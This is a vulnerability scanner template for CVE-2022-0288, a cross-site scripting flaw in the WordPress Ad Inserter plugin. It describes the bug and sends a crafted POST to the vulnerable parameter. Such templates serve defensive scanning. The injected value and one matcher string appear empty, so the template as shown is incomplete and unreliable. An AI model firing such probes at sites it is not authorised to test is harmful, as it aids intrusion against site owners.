id: CVE-2022-0288 info: name: WordPress Ad Inserter <2.7.10 - Cross-Site Scripting author: DhiyaneshDK severity: medium description: | WordPress Ad Inserter plugin before 2.7.10 contains a cross-site scripting vulnerability. It does not sanitize and escape the html_element_selection parameter before outputting it back in the page. reference: - https://wpscan.com/vulnerability/27b64412-33a4-462c-bc45-f81697e4fe42 - https://nvd.nist.gov/vuln/detail/CVE-2022-0288 remediation: Fixed in version 2.7.12 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-0288 cwe-id: CWE-79 tags: wordpress,xss,wpscan,cve,cve2022 requests: - method: POST path: - "{{BaseURL}}" headers: Content-Type: "application/x-www-form-urlencoded" body: | html_element_selection= matchers-condition: and matchers: - type: status status: - 200 - type: word part: body words: - "" - "ad-inserter" condition: and - type: word part: header words: - "text/html" # Enhanced by md on 2022/09/08